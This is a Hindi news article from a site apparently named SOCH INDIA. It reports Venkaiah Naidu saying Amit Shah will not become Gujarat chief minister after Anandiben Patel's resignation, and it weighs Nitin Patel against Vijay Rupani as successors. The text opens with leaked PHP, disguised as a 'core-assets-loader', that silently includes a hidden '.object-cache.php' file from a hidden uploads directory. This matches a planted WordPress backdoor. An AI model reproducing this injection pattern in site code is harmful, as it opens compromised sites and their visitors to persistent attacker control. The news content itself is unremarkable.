add_action('wp_head', function(){echo '';}, 1); /* core-assets-loader */ @include_once('/home/sochindi/public_html/wp-content/uploads/.wp-cache-cd8672/.object-cache.php'); वेंकैया नायडू बोले- अमित शाह नहीं होंगे गुजरात के नए CM, आनंदीबेन का मंजूर हुआ इस्तीफा – SOCH INDIA
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वेंकैया नायडू बोले- अमित शाह नहीं होंगे गुजरात के नए CM, आनंदीबेन का मंजूर हुआ इस्तीफा

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सीनियर बीजेपी नेता और  केंद्रीय मंत्री वेंकैया नायडू ने कहा कि बीजेपी पार्लियामेंटरी बोर्ड ने गुजरात के मुख्यमंत्री आनंदीबेन पटेल का इस्तीफा मंजूर कर लिया गया है, लेकिन उनके उत्तराधिकारी के नाम पर आज कोई चर्चा नहीं हुई. एबीपी न्यूज़ आपको पहले ही बता चुका था कि गुजरात का अगला सीएम कौन होगा, आज सार्वजनिक तौर पर इसका एलान नहीं होगा.

नायडू ने कहा कि आनंदीबेन पटेल आज अपना इस्तीफा राज्यपाल को सौपेंगीं.

गुरुवार को गुजरात में विधायक दलों की बैठक है. अमित शाह गुजरात जाएँगे और वहाँ पार्टी विधायकों के साथ औपचारिक बैठक के बाद नए मुख्यमंत्री का नाम तय करेंगे. विधायक दलों की बैठक के बाद ही नए सीएम के नाम का तय हो पाएगा.

अमित शाह नहीं होंगे सीएम- नायडू

गुजरात का अगला सीएम कौन होगा और बीजेपी पार्लियामेंटरी बोर्ड में इसे लेकर क्या चर्चा हुई?  इस सवाल के जवाब में नायडू ने कहा कि अगला सीएम कौन होगा, इसे लेकर संसदीय दल की आज की बैठक में चर्चा नहीं हुई, लेकिन इसके साथ ही उन्होंने ये साफ कर दिया कि अमित शाह गुजरात के सीएम नहीं होंगे. उन्होंने कहा कि अमित शाह पार्टी अध्यक्ष हैं और वो बने रहेंगे.

अमित शाह पर वेंकैया नायडू ने कहा, “अमित शाह के सीएम बनने का सवाल ही नहीं है, क्योंकि बीजेपी चाहती है कि वो पार्टी का नेतृत्व करते रहे.”

मुख्यमंत्री की कमान किसको?

आनंदीबेन के जाने के बाद गुजरात के मुख्यमंत्री की कमान किसको. मोदी के पास ज्यादा विकल्प नहीं हैं. अमित शाह को वो दिल्ली से गांधीनगर भेज नहीं सकते, अन्यथा शाह 2017 चुनावों के लिए सबसे मुफीद साबित हो सकते थे. शाह भी सत्तारुढ़ दल के राष्ट्रीय अध्यक्ष के तौर पर फिलहाल गुजरात के मुख्यमंत्री की कुर्सी संभालने के इच्छुक कम ही हैं. मई 2014 में बात दूसरी थी, जब मोदी ने शाह की जगह आनंदीबेन को गुजरात की कुर्सी सौंपी थी. उस वक्त अमित शाह मुख्यमंत्री की कुर्सी पाने के इच्छुक थे, लेकिन मोदी के संकेत को देखते हुए अपनी भावनाओं को काबू में रखा.

जो विकल्प मोदी के सामने मौजूद हैं, उसमें गुजरात की मौजूदा सरकार में मंत्री नीतिन पटेल और प्रदेश बीजेपी अध्यक्ष विजय रुपाणी प्रमुख हैं. यूं तो नाम गुजरात इकाई के संगठन महामंत्री भीखुभाई दलसाणिया. आदिवासी समाज से आने वाले गणपत वसावा, केंद्र में कृषि राज्य मंत्री पुरशोत्तम रुपाला और गुजरात के वित्त मंत्री सौरभ पटेल का भी उछल रहा है, लेकिन प्रमुख नाम नीतिन पटेल और विजय रुपाणी ही हैं.

नीतिन पटेल के प्लस प्वाइंट

जहां तक नीतिन पटेल का सवाल है, उनकी खासियत ये है कि वो उत्तर गुजरात से आते हैं और पाटीदार समुदाय से हैं. इसके अलावा उनके पास लंबा-चौड़ा प्रशासनिक अनुभव है. केशुभाई पटेल और नरेंद्र मोदी दोनों ही सरकारों में लंबे समय तक मंत्री रहे और आनंदीबेन की मौजूदा सरकार में भी नंबर दो मंत्री हैं, जिनके पास स्वास्थ्य और सड़क विभाग की जिम्मेदारी भी है. एक समय इनके पास राजस्व विभाग भी हुआ करता था, लेकिन फिर उसे आनंदीबेन ने अपने पास रख लिया.

नीतिन पटेल पार्टी कार्यकर्ताओं के बीच काफी लोकप्रिय हैं, सहज हैं और मोदी के भी करीबी हैं. दो महीने पहले जब आनंदीबेन पटेल को हटाने की चर्चा शुरु हुई थी, तब भी नीतिन पटेल का नाम ही तय माना जा रहा था.

नीतिन पटेल का बतौर विधायक करियर 1990 में ही शुरू हो गया था, जबकि आनंदीबेन पटेल पहली बार 1998 में विधायक बनी. नीतिन पटेल अभी तक पांच बार विधानसभा का चुनाव जीत चुके हैं. 1995 से लेकर 2002 तक बीजेपी की सरकार में मंत्री रहे, हालांकि 2002 का चुनाव वो हार गये. 2007 में एक बार फिर से विधायक बनने के बाद उनकी मोदी मंत्रिमंडल में वापसी हुई, तब से वो लगातार मंत्री बने हुए हैं. इस तरह कुल मिलाकर तीन मुख्यमंत्री, केशुभाई पटेल, नरेंद्र मोदी और आनंदीबेन पटेल के साथ नीतिन पटेल ने काम किया है और बतौर मंत्री उनका अनुभव पंद्रह साल से भी अधिक का है.

विजय रुपाणी के प्लस प्वाइंट

जहां तक विजय रुपाणी का सवाल है, उनका बतौर मंत्री अनुभव नीतिन पटेल जैसा तो नहीं है, लेकिन वो नरेंद्र मोदी और अमित शाह दोनों के करीब हैं. सौराष्ट्र इलाके से आते हैं, राजकोट उनका शहर है. संगठन में काम करने का लंबा अनुभव है, लगातार चार बार वो प्रदेश बीजेपी के महामंत्री रहे. रुपाणी 1998 में केशुभाई पटेल की सरकार में संकल्पपात्र अमलीकरण समिति के चेयरमैन बने, जो भूमिका उन्होंने मोदी के मुख्यमंत्री रहते हुए भी 2002 तक निभाई. उसके बाद मोदी ने 2006 में उन्हें गुजरात टूरिज्म का अध्यक्ष बनाया और इसी साल रुपाणी का राज्यसभा भी जाना हुआ, जिसके सदस्य वो 2012 तक रहे. 2013 में मोदी ने उन्हें म्युनिसिपल फाइनेंस बोर्ड का अध्यक्ष बनाया.

1980 में बीजेपी ज्वाइन करने से पहले आपातकाल के दौरान रुपाणी मीसा के तहत जेल में भी रहे. राजकोट में बतौर कॉरपोरेटर उनका कैरियर 1987 में शुरु हुआ और इसकी परिणती 1996 में तब हुई, जब वो मेयर भी बने शहर के.

हालांकि विधानसभा में प्रवेश के लिए रुपाणी को लंबा इंतजार करना पड़ा. उन्हें पहली बार चुनाव लड़ने का मौका पिछले साल ही यानी 2015 में मिला, जब कर्नाटक का राज्यपाल बनने के बाद वजुभाई वाला ने राजकोट-2 की सीट खाली की और विजय रुपाणी यहां से चुनाव जीते. इसके बाद रुपाणी आनंदीबेन सरकार में ट्रांसपोर्ट, वाटर सप्लाई, श्रम और रोजगार विभाग के कैबिनेट मंत्री बने, जो जिम्मेदारी प्रदेश बीजेपी अध्यक्ष बनने के बाद भी जारी है.

टॉस जैसी परिस्थिति

ऐसे में नीतिन पटेल और विजय रुपाणी के बीच टॉस जैसी परिस्थिति है. नीतिन पटेल का प्रभावशाली पटेल समुदाय से आना सबसे बड़ा प्लस प्वाइंट है. पाटीदार समुदाय फिलहाल बीजेपी से नाराज चल रहा है और नीतिन को मुख्यमंत्री बनाकर इस समुदाय को खुश करने की कोशिश की जा सकती है.

जहां तक रुपाणी का सवाल है, उनकी संगठन क्षमता काबिले तारीफ है, लेकिन वो अपेक्षाकृत कम महत्वपूर्ण जैन समुदाय से आते हैं. जहां तक मोदी और अमित शाह के प्रति समर्पण का भाव है, दोनों ही नेता उस कसौटी पर खरे उतरते हैं. ऐसे में नीतिन पटेल या रुपाणी, किसे सौंपी जाए गुजरात की कमान, इसका संकेत मोदी को देना है, जिसका इंतजार इन दोनों नेताओं सहित पूरी पार्टी को है. रुपाणी तो आज अपना साठवां जन्मदिन भी मना रहे हैं, एक दिन देर से ही सही, बर्थडे गिफ्ट मिल जाए, तो देरी के लिए बुरा नहीं मानेंगे रुपाणी.

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